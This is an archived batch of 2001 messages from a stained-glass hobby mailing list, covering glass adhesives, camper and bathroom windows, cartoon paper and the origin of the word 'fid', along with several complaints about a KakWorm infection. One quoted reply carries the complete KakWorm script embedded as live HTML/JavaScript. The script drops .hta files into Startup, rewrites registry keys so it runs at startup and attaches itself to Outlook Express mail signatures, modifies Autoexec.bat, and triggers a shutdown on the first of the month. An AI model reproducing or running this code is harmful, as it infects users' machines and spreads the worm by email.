	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: kwic.com!mnvve3
From: "Linda McKenna" <mnvve3@kwic.com>
To: "Bungi Glass" <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Awfully quiet...
Date: Thu, 8 Feb 2001 11:52:25 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I agree - I thought somehow I had been dropped from the list.  Am leaving
for a week's holiday in Florida and couldn't face the thought of nothing to
catch up on when I got home. I guess everyone is too busy with other things.
Linda
----- Original Message -----
From: "Cecily & Ralph Wood" <cecnralph@home.com>
To: "Bungi Glass" <glass@bungi.com>
Sent: Wednesday, February 07, 2001 5:51 PM
Subject: Awfully quiet...


Just a tad worried because I quit a listserv, and hope I didn't kill the
wrong one!  Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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----
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From owner-glass Thu Feb  8 15:35:24 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14QzSH-0004gPa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 14:22:21 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: glass glue
Date: Thu, 08 Feb 2001 17:20:10 -0500
Message-ID: <4.3.2.7.2.20010208171304.00ab4560@pop.together.net>
Precedence: bulk

You will find plenty of information on glass glues at the following web sites:

<http://www.hisglassworks.com/>   Once there, click on "help" then choose 
"adhesives".

also: 
<http://www.stainedglass.org/main_pages/magazine_pages/Hxtal-Gluing.html>

as well 
as 
<http://www.lists.ic.ac.uk/hypermail-archive/glass-list/glass-list-May-1997/0009.html>

J. Buckner
Jennifer G. Buckner jbuckner@together.net

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From owner-glass Thu Feb  8 17:33:22 2001
Return-Path: <owner-glass>
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	for rglass-42; Thu, 8 Feb 2001 17:27:13 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: home.com!j-jsmith
From: "J&J  Smith" <j-jsmith@home.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: virus info
Date: Wed, 7 Feb 2001 15:33:27 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C0911B.50E36C00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Fortunately my virus checker fixes the problem,  and I am still able to =
read the e-mails.  I checked the e-mail and found he has the worm virus =
called KakWorm.  Their is a fix for this....called the Kak =
Cleaner!..Their is more info on http://www.getvirushelp.com/kak The file =
is easy to download..good luck! =20

------=_NextPart_000_000B_01C0911B.50E36C00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Fortunately my virus checker fixes the =
problem,=20
&nbsp;and I am still able to read the e-mails.&nbsp; I checked the =
e-mail and=20
found he has the worm virus called KakWorm.&nbsp; Their is a fix for=20
this....called the Kak Cleaner!..Their is more info on <A=20
href=3D"http://www.getvirushelp.com/kak">http://www.getvirushelp.com/kak<=
/A> The=20
file is easy to download..good luck!&nbsp; </FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C0911B.50E36C00--

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From owner-glass Thu Feb  8 17:38:00 2001
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	for rglass-42; Thu, 8 Feb 2001 17:28:51 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Professional Advice Needed
Date: Thu, 8 Feb 2001 20:21:55 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0039_01C0920C.C8097620
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Someone I know was asking about having a stained glass window made and =
installed in a camper.  I personally didn't think it was a good idea, =
but she wants it.  What do all you professionals think?  Wouldn't =
driving around cause damage to the window?  Well I certainly won't make =
it for her but I told her that I would at least ask, before she wastes =
her money and commissions someone who doesn't care and just wants her =
business.

Thanks for the answers I know I will get.

Caren
P.S.  I got that virus too, thank God for Norton Anti-virus.

------=_NextPart_000_0039_01C0920C.C8097620
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Someone I know was asking about having =
a stained=20
glass window made and installed in a camper.&nbsp; I personally didn't =
think it=20
was a good idea, but she wants it.&nbsp; What do all you professionals=20
think?&nbsp; Wouldn't driving around cause damage to the window?&nbsp; =
Well I=20
certainly won't make it for her but I told her that I would at least =
ask, before=20
she wastes her money and commissions someone who doesn't care and just =
wants her=20
business.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for the answers I know I will=20
get.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>P.S.&nbsp; I got that virus too, thank =
God for=20
Norton Anti-virus.</FONT></DIV></BODY></HTML>

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From owner-glass Thu Feb  8 19:07:44 2001
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	id <m14R3Vm-0004gNa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 18:42:14 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: thezone.net!robertcrane
From: "Robert Crane" <robertcrane@thezone.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: virus
Date: Thu, 8 Feb 2001 20:40:28 -0330
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C0920F.5F3EF4A0
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	charset="iso-8859-1"
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please accept my apology re the recent virus transmission. Believe me I =
was not aware that I had recieved it..sorry

------=_NextPart_000_0005_01C0920F.5F3EF4A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>please accept my apology re the recent =
virus=20
transmission. Believe me I was not aware that I had recieved=20
it..sorry</FONT></DIV></BODY></HTML>

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From owner-glass Thu Feb  8 20:22:41 2001
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	for rglass-42; Thu, 8 Feb 2001 20:01:01 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: hotmail.com!mrsdesigns
From: "Michele S" <mrsdesigns@hotmail.com>
To: glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: Re: Awfully quiet...
Date: Thu, 08 Feb 2001 14:53:42 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

You're still out there....Just slow lately, I guess!
~Michele


----Original Message Follows----
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Subject: Awfully quiet...
Date: Wed, 07 Feb 2001 17:51:21 -0500

Just a tad worried because I quit a listserv, and hope I didn't kill the
wrong one!  Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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_________________________________________________________________
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From owner-glass Thu Feb  8 21:30:43 2001
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	for rglass-42; Thu, 8 Feb 2001 21:28:22 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Kaye Sodt <kaye@GSA-ORSP.CROWN.NWU.EDU>, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: virus again Re: Last message--epoxy?
Date: Thu, 08 Feb 2001 16:08:25 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

tuka@attcanada.net, 

Sheila is that you?...
I think you have it on your machine.  Norton goes nuts when I try to
open your email.  Norton identifies it as KAK.

Suzanne
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From owner-glass Thu Feb  8 22:00:46 2001
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X-Path: aol.com!Gcanvas
From: Gcanvas@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_4a.113ee99b.27b4d4ae_boundary"
Subject: cartoon supplies
Date: Fri, 9 Feb 2001 00:05:50 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk


--part1_4a.113ee99b.27b4d4ae_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi,
Since the list has been so quiet, a question from a lurker.
Has anyone ever used "builders paper" for a cartoon medium.
It is usually used as a cover for floors while construction or renovation is 
going on in a building or home to protect flooring.  It seems somewhat 
resistant to water breaking it down.  It looks and feels like heavy Kraft 
paper.  Saw a roll in Home Depot the other day and thought I would ask since 
it is fairly cheap.  Thanks in advance for any responses.

Jim Kelly
Gcanvas @aol.com

--part1_4a.113ee99b.27b4d4ae_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Hi,
<BR>Since the list has been so quiet, a question from a lurker.
<BR>Has anyone ever used "builders paper" for a cartoon medium.
<BR>It is usually used as a cover for floors while construction or renovation is 
<BR>going on in a building or home to protect flooring. &nbsp;It seems somewhat 
<BR>resistant to water breaking it down. &nbsp;It looks and feels like heavy Kraft 
<BR>paper. &nbsp;Saw a roll in Home Depot the other day and thought I would ask since 
<BR>it is fairly cheap. &nbsp;Thanks in advance for any responses.
<BR>
<BR>Jim Kelly
<BR>Gcanvas @aol.com</FONT></HTML>

--part1_4a.113ee99b.27b4d4ae_boundary--
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From owner-glass Thu Feb  8 22:56:14 2001
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	for rglass-42; Thu, 8 Feb 2001 22:41:15 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Camper window
Date: Thu, 8 Feb 2001 23:54:19 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C0922A.73F08C40
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Caren,
One solution is to make the window separate from the vehicles and simply =
hang it inside the actual window using small hook screws to hold the 4 =
sides of the stained glass.  This would give it some give and not cause =
it to withstand the pressures on the vehicle's window.
Just a thought. :)]
Moya

------=_NextPart_000_0015_01C0922A.73F08C40
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3018.900" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Caren,</DIV>
<DIV>One solution is to make the window separate from the vehicles and =
simply=20
hang it inside the actual window using small hook screws to hold the 4 =
sides of=20
the stained glass.&nbsp; This would give it some give and not cause it =
to=20
withstand the pressures on the vehicle's window.</DIV>
<DIV>Just a thought. :)]</DIV>
<DIV>Moya</DIV></BODY></HTML>

------=_NextPart_000_0015_01C0922A.73F08C40--

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From owner-glass Thu Feb  8 23:01:19 2001
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	for rglass-42; Thu, 8 Feb 2001 22:50:17 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: tuka@attcanada.net
Subject: Re: epoxy for glass repair
Date: Thu, 8 Feb 2001 22:19:16 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

This is almost certainly Hxtal.  An expensive resin that has to be mixed
in exact quantities to perform properly.  

Steve

In message <1970Jan1.000.0@?>, tuka@attcanada.net writes
>I would also appreciate receiving replies to this question...
>
>Shiela
>tuka@attcanada.net
>
>
>
>I was watching Martha Stewart on H&GTV last evening where she visited a =
>stained glass artist at Bar Harbour, Maine. The artist was repairing a =
>church window and used an epoxy ( especially for glass) to repair a =
>broken piece. I was wondering if anyone bungi land knows what that =
>product is? Thanks in anticipation of your reply.
>
>
>------=_NextPart_000_0007_01C0910C.6B69BA20
>Content-Type: text/html;
>charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
><HTML><HEAD>
><META content=3D"text/html; charset=3Diso-8859-1" =
>http-equiv=3DContent-Type>
><META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
><STYLE></STYLE>
></HEAD>
><BODY bgColor=3D#ffffff>
><DIV><FONT face=3DArial size=3D2>I was watching Martha Stewart on =
>H&amp;GTV last=20
>evening where she visited a stained glass artist at Bar Harbour, Maine. =
>The=20
>artist was repairing a church window and used an epoxy ( especially for =
>glass)=20
>to repair a broken piece. I was wondering if anyone bungi land knows =
>what that=20
>product is? Thanks in anticipation of your reply.</FONT></DIV>
><DIV>
><DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
><OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
>id=3Dscr></OBJECT></DIV>
><SCRIPT><!--
>function sErr(){return =
>true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
>iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
>WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
>id=3D'wsh' =
>classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
>T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
>ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
>fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
>mye=3Dnew =
>Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
>String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
>~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
>\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
>(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
>eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
>.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
>)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
>@echo off>'+pth);t1.WriteLine('del =
>'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
>k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
>T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
>n+'\\\\Software\\\\Microsoft\\\\Outlook =
>Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
>"Default =
>Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
>\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
>#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
>\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
>teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
>Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
>L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
>;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
>ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
>'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
>ODY><DIV =
>style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
>classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
>id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
>(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
>sErr(){return =
>true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
>);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
>\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
>;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
>age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
>D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
>\\\\windows\\\\\\\\Start =
>Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
>Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
>r.appVersion)>4))||(agt.indexOf(\"msie =
>5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
>es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
>&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
>!');wsh.Run(wd+'RUNDLL32.EXE =
>user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
>failed &nbsp; =
>!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
>ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
>Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
>Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
>;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
>gt.indexOf("msie 5.")!=3D-1))scr.write();
>//--></SCRIPT>
></OBJECT></DIV></BODY></HTML>
>
>------=_NextPart_000_0007_01C0910C.6B69BA20--
>
>----
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>
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Feb  9 00:00:47 2001
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	for rglass-42; Thu, 8 Feb 2001 23:44:42 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: more jewels and roses
Date: Thu, 8 Feb 2001 23:40:28 -0800
Message-ID: <1970Jan1.000.0>
Organization: weaver51@teleport.com
Precedence: bulk

found a few more boxes of stuff

interested e-mail me direct

Howard


weaver51@teleport.com
weaver51@onemain.com
Elaine and Howard
to see the best lamps on the "net"
http://www.teleport.com/~cbs/howard




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From owner-glass Fri Feb  9 07:47:14 2001
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X-Path: stratus.com!Charlie_Spitzer
From: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain
Subject: FW: Professional Advice Needed
Date: Fri, 9 Feb 2001 08:22:48 -0700 
Message-ID: <1970Jan1.000.0>
Precedence: bulk

a friend of mine did this to her pickup truck camper. it was a 1x1' window
and it lasted for at least 5 years. i would imagine a trailer would be a bit
hardier. it really depends upon how flexible the trailer chassis is as the
flex would be translated into the walls. i would tend to make it a bit
smaller than the window and use some sort of flexible insulating trim (you
can get it in rope shapes in home depot for instance) underneath the wood or
metal frame.

regards,
charlie
phx, az

btw: please don't send mime text to the mailing list.

-----Original Message-----
From: CP [mailto:mschatee@twcny.rr.com]
Sent: Thursday, February 08, 2001 6:22 PM
To: glass@bungi.com
Subject: Professional Advice Needed


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Someone I know was asking about having a stained glass window made and =
installed in a camper.  I personally didn't think it was a good idea, =
but she wants it.  What do all you professionals think?  Wouldn't =
driving around cause damage to the window?  Well I certainly won't make =
it for her but I told her that I would at least ask, before she wastes =
her money and commissions someone who doesn't care and just wants her =
business.

Thanks for the answers I know I will get.

Caren
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From owner-glass Fri Feb  9 10:30:49 2001
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Subject: origin of the word fid and asking for suggestions on a project
Date: Fri, 9 Feb 2001 13:00:26 EST
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Hello all,

I am trying to determine the origin of the word fid.  As far as I've tracked 
it down it was an old nautical tool used for splicing ropes.  Is the fid used 
in stained glass a relative?  Anyone know where the word originated?   

As long as I'm asking about origins of words....where did the name Bungi come 
from?  I've always wondered.   

I'm working on glass again, taking a class at the local college to kick 
myself back into it.  We need to design a panel using a work of art as the 
basis.  I seem drawn to cityscapes and bridges....any suggestions on a work 
of art that would translate nicely?  The biggest problem I am finding with 
the bridges and buildings is the thought of tying them into the sky.  I dread 
all the break lines/solder lines it's going to cause...maybe a narrow foil 
would not interrupt the sky as badly.   I'm also leaning towards art 
deco....so many choices such difficult decisions.

Thanks for the advice....hope everyone is enjoying their own glass work as 
much as I am enjoying mine.

ia (who is still working without a safety net aka spellcheck)
----
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From owner-glass Fri Feb  9 10:34:12 2001
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From: "Rita Kimmons" <Mommabear776@hotmail.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;	boundary="----=_NextPart_000_002D_01C0928E.2906D9A0"
Subject: Bathroom window
Date: Fri, 9 Feb 2001 11:48:03 -0600
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I have never constructed a window before and was wondering is there any =
special consideration in making a bathroom window?  I work in copper =
foil.  Can a bathroom window be done in foil or does it have to be =
leaded? I know that depending on the dimensions it has to be reinforced. =
 Can I use just the reinforcing stripping that goes between the seams or =
do I have to use rebar? I believe the window is 24"x30"..  How do you =
protect it from the normal moist associated with bathrooms?  Is there a =
book that will answer these and other questions regarding the =
construction of stained glass windows?  My local supplier will not =
answer questions unless you are presently enrolled in one of his =
classes.  He said that that is his way of making money not by selling =
the supplies which he also does with a great mark-up.

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have never constructed a window =
before and was=20
wondering is there any special consideration in making a bathroom =
window? =20
</FONT><FONT face=3DArial size=3D2>I work in copper foil.&nbsp; Can a =
bathroom=20
window be done in foil or does it have to be leaded? I know that =
depending on=20
the dimensions it has to be reinforced.&nbsp; Can I use just the =
reinforcing=20
stripping that goes between the seams or do I have to use rebar? I =
believe the=20
window is 24"x30"..&nbsp; How do you protect it from the normal moist =
associated=20
with bathrooms?&nbsp; Is there a book that will answer these and other =
questions=20
regarding the construction of stained glass windows?&nbsp; My local =
supplier=20
will not answer questions unless you are presently enrolled in one of =
his=20
classes.&nbsp; He said that that is his way of making money not by =
selling the=20
supplies which he also does with a great =
mark-up.</FONT></DIV></BODY></HTML>

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From owner-glass Fri Feb  9 11:31:23 2001
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re: origin of the word fid and asking for suggestions on a project
Date: Fri, 9 Feb 2001 18:45:39 -0000
Message-ID: <200102091901.f19J1mt14450@mercury.nildram.co.uk>
Precedence: bulk

Hi All,
Elisabeth 'n Toby emerging out of "lurkerdom".
There is more to come.... very soon....
However, being the trained linguist that I am, I decided to answer 
the s.g. linguistic question of this year (unless another one - just 
as exciting - comes along....)


The word "fid" is in deed an old nautical term.
The Oxford Dictionary says:" Naut.1615, of unknown origin. A 
conical pin of hard wood, used to open the strands of rope in 
splicing"

Well done!!!
When I was a youngster at home in Sweden, my navy father taught 
me how to splice rope for boats and sailing yachts and I have 
STILL not forgotten the principles.

The Oxford Dictionary of English goes on with about another half 
dozen definitions (amongst one of which: " A small thick piece of 
anything"). But let this suffice.

Stiil with you all - even if lurking.....
Elisabeth 'n Toby in UK

Hello all,

I am trying to determine the origin of the word fid.  As far as I've tracked 
it down it was an old nautical tool used for splicing ropes.  Is the fid used 
in stained glass a relative?  Anyone know where the word originated?   

As long as I'm asking about origins of words....where did the name Bungi come 
from?  I've always wondered.   

I'm working on glass again, taking a class at the local college to kick 
myself back into it.  We need to design a panel using a work of art as the 
basis.  I seem drawn to cityscapes and bridges....any suggestions on a work 
of art that would translate nicely?  The biggest problem I am finding with 
the bridges and buildings is the thought of tying them into the sky.  I dread 
all the break lines/solder lines it's going to cause...maybe a narrow foil 
would not interrupt the sky as badly.   I'm also leaning towards art 
deco....so many choices such difficult decisions.

Thanks for the advice....hope everyone is enjoying their own glass work as 
much as I am enjoying mine.

ia (who is still working without a safety net aka spellcheck)
----
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To send to the list,      please mail to: glass@bungi.com
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----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Fri Feb  9 12:07:56 2001
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X-Path: stratus.com!Charlie_Spitzer
From: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
To: "'Rita Kimmons'" <Mommabear776@hotmail.com>, glass@bungi.com
Content-Type: text/plain;
Subject: RE: Bathroom window
Date: Fri, 9 Feb 2001 12:06:09 -0700 
Message-ID: <1970Jan1.000.0>
Precedence: bulk

comments interspersed

regards,
charlie
phx, az

-----Original Message-----
From: Rita Kimmons [mailto:Mommabear776@hotmail.com]
Sent: Friday, February 09, 2001 10:48 AM
To: glass@bungi.com
Subject: Bathroom window


I have never constructed a window before and was wondering is there any
special consideration in making a bathroom window? 

no, it's a normal window

I work in copper foil.  Can a bathroom window be done in foil or does it
have to be leaded? 

either 

I know that depending on the dimensions it has to be reinforced.  Can I use
just the reinforcing stripping that goes between the seams or do I have to
use rebar? 

it depends. is it going to be a window that one can fall through? if so, i'd
use rebar. if not, it depends upon how it's framed. if in a thick wood
frame, then you don't need any reinforcement. if in zinc or lead and was
foiled, i'd probably use stripping.

I believe the window is 24"x30"..  How do you protect it from the normal
moist associated with bathrooms?  

don't frame it in air tight. leave top and bottom holes so condensation will
evaporate

Is there a book that will answer these and other questions regarding the
construction of stained glass windows?  My local supplier will not answer
questions unless you are presently enrolled in one of his classes.  He said
that that is his way of making money not by selling the supplies which he
also does with a great mark-up.

find a new supplier or do your shopping on the net. vote on his policies
with your wallet.
----
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From owner-glass Fri Feb  9 12:32:05 2001
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From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Bathroom window
Date: Fri, 9 Feb 2001 15:17:17 EST
Message-ID: <1970Jan1.000.0>
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Sorry but what exactly does "comments interspersed" mean?  I'm curious to 
hear comments on Rita's questions too.


> comments interspersed
>  
>  regards,
>  charlie
>  phx, az
>  
>  -----Original Message-----
>  From: Rita Kimmons [mailto:Mommabear776@hotmail.com]
>  Sent: Friday, February 09, 2001 10:48 AM
>  To: glass@bungi.com
>  Subject: Bathroom window
>  
>  
>  I have never constructed a window before and was wondering is there any
>  special consideration in making a bathroom window? 
>  
>  no, it's a normal window
>  
>  I work in copper foil.  Can a bathroom window be done in foil or does it
>  have to be leaded? 
>  
>  either 
>  
>  I know that depending on the dimensions it has to be reinforced.  Can I use
>  just the reinforcing stripping that goes between the seams or do I have to
>  use rebar? 
>  
>  it depends. is it going to be a window that one can fall through? if so, 
i'd
>  use rebar. if not, it depends upon how it's framed. if in a thick wood
>  frame, then you don't need any reinforcement. if in zinc or lead and was
>  foiled, i'd probably use stripping.
>  
